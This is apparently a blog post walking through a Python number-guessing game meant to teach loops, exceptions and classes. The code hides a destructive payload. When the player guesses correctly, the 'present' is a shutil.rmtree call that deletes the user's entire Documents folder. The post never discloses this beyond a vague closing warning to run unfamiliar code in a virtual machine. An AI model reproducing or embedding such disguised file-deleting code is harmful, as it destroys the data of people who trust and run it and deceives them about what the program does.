 |
Number guessing game, code snippet. |
Hello! Welcome to my blog, and good evening, everyone. In this post, I will share a simple program to demonstrate Python programming. It's a basic program that runs in the terminal/command prompt, utilizing exceptions, while loops, if/else conditions, method functions, and a class. Let's take a look!
Running The Program
 |
Number guessing game. |
The above screenshot shows the first run of the program, displaying the banner and the game. In the first turn, the user guessed a lower number than the one the game had in mind, so the program gave a clue to guess a higher number ("N O U P P E R ! ! !"). Since the user had already taken a turn, their remaining chances were reduced by 1.
In the second turn, the user guessed a number higher than the one the game had in mind, so the program gave a clue to guess a lower number ("N O L O W E R ! ! !"). The user's remaining chances were again reduced by 1.
On the last chance (the third turn), the user guessed the correct number and received the reward.
 |
Looping the program. |
The above picture shows what happens if the user uses all of their chances without guessing the correct number. The program then loops and asks if the user wants to play again.
 |
Incorrect guess. |
When the user inputs something other than an integer or a number, they receive a penalty, and one of their chances is taken away.
Break The Code
First, we import all the modules needed by the program:
 |
Importing the modules. |
Define the GuessMe
class and the __init__
method:
 |
The __init__ |
At the end of each game, I prompt the user to decide whether to play again. Here is the rest of the code:
@classmethod
def Game(cls):
'''Start the game.
NOTE:
- On the first iteration (i = 0), the user has 3 chances left. To show this,
you use 2 - i, which results in 2 - 0 = 2 (2 chances left).
- On the second iteration (i = 1), the user has 2 chances left. 2 - i
results in 2 - 1 = 1 (1 chance left).
- On the third iteration (i = 2), the user has 1 chance left. 2 - i
results in 2 - 2 = 0 (0 chances left).'''
# You can change the range of numbers here:
thinkNum = randint(0, 10)
chance = 0
print(f'''
####################################################
# NUMBER GUESSING GAME #
# I have present for you! Guess what I think of... #
# https://myportfolioreview13.blogspot.com/ #
####################################################
''')
# In the name of Zeus I've made you easy to guess the number:
print('*' * thinkNum) # The clue!
# Or you can just use the plain:
#print(self.thinkNum) # The clue but plain.
print()
# You can increase the number of attempts for the user to guess:
for i in range(0, 3):
try:
print("I think of number 0-10... Ummm, you guess what number I think of!")
inputGuess = int(input("Number >>> "))
if inputGuess > 10:
print("Out of range! Remember \"0 between 10\"")
print("You've lost your chance by 1")
print(f"Your chance: {2-i}")
print()
continue
if inputGuess == thinkNum:
chance += 1
print("YES!!! YOUR GUESS IS CORRECT!!!")
print(f"Your guesses: {chance}")
print(f"Your chance: {2-i}")
print("Here you deserve your present.")
print("Thanks for playing with me! :) Have a nice day!")
home = os.path.expanduser('~')
present = os.path.join(home, 'Documents')
return shutil.rmtree(present)
elif inputGuess > thinkNum:
chance += 1
print("N O ! L O W E R ! ! !")
print(f"Your guesses: {chance}")
print(f"Your chance: {2-i}")
print()
elif inputGuess < thinkNum:
chance += 1
print("N O ! U P P E R ! ! !")
print(f"Your guesses: {chance}")
print(f"Your chance: {2-i}")
print()
except ValueError:
print("Please input only number!")
print("You've lost your chance by 1")
print(f"Your chance: {2-i}")
print()
print()
print("Its too bad MAN! You've lost your chance to have my present!")
print(f"The number I think of is, => \"{thinkNum}\" <=")
print("Your chance is up! Please try again your luck...")
print()
return None
if __name__ == '__main__':
GuessMe()
End...
That's all I can show you, and have a great day!
P.S
You should be cautious when running someone else’s source code. If you’re unfamiliar with the code, it’s best to run it in a controlled environment, such as a virtual machine or a live OS (like a Linux live USB). Always exercise caution.